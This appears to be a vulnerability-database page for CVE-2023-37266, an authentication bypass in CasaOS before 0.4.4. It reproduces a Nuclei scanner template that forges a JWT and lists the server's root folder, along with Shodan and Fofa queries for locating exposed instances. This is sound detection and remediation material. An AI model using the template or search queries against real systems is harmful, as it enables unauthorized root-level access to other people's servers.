SecurityContext

CVE-2023-37266: CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token

  • Template: CVE-2023-37266
  • Name: CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token
  • Description: CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
  • Impact: Successful exploitation allows unauthorized access to the CasaOS system.
  • Remediation: The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.
  • Severity: critical
  • Authors: iamnoooob, DhiyaneshDK, pdresearch
  • Tags: cve2023, cve, oss, casaos, jwt, icewhale, vuln
  • References: https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad, https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
  • Cves: CVE-2023-37266
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-37266.yaml
  • Digest: 4a0a00473045022100ab31ac70a319612d713e44f8a8b168d544541da4255fcd9002d991ae80ec311b02204cdb304563dccdb5fa50b9a4b372e63c038642ca618a968a5f62aa3e2c93df1a
  • Created at: 2023-07-27T09:11:18Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 1216
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-37266.yaml

Classification

  • Cwe: CWE-287
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.06844
  • Epss percentile: 0.94186
  • Cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="/CasaOS-UI/public/index.html", body="/casaos-ui/public/index.html"
  • Max-request: 1
  • Product: casaos
  • Shodan-query: http.html:"/CasaOS-UI/public/index.html", http.html:"/casaos-ui/public/index.html"
  • Vendor: icewhale
  • Verified: yes

Products

ProductIndexedUrl
icewhale:casaosyes/v1/products/icewhale/casaos

Labels

  • Name: CasaOS - Authentication Bypass
  • Impact: Attackers can execute arbitrary commands as root, potentially leading to full system compromise.
  • Remediation: Upgrade to CasaOS 0.4.4 or restrict access to untrusted users.
  • Vulnerability type: jwt_misconfiguration
  • Vulnerability impact: remote_code_execution, privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-37266
  • Not known: requirements

```yaml

id: CVE-2023-37266

info:

name: CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token

author: iamnoooob,DhiyaneshDK,pdresearch

severity: critical

description: |

CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.

impact: |

Successful exploitation allows unauthorized access to the CasaOS system.

remediation: The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.

reference:

- https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad

- https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-37266

cwe-id: CWE-287

epss-score: 0.06844

epss-percentile: 0.94186

cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: icewhale

product: casaos

shodan-query:

- http.html:"/CasaOS-UI/public/index.html"

- http.html:"/casaos-ui/public/index.html"

fofa-query:

- body="/CasaOS-UI/public/index.html"

- body="/casaos-ui/public/index.html"

tags: cve2023,cve,oss,casaos,jwt,icewhale,vuln

variables:

jwt_data: '{"iss":"casaos","exp":1790210322,"nbf":1790199522,"iat":1790199522}'

jwt_token: '{{generate_jwt(jwt_data, "HS256")}}'

http:

- method: GET

path:

- "{{BaseURL}}/v1/folder?path=%2F"

headers:

Authorization: '{{jwt_token}}'

matchers:

- type: word

words:

- '"success":200'

- '"message":"ok"'

- 'content'

- 'is_dir'

condition: and

extractors:

- type: json

json:

- .data.content[].path

digest: 4a0a00473045022100ab31ac70a319612d713e44f8a8b168d544541da4255fcd9002d991ae80ec311b02204cdb304563dccdb5fa50b9a4b372e63c038642ca618a968a5f62aa3e2c93df1a:922c64590222798bb761d5b6d8e72950

```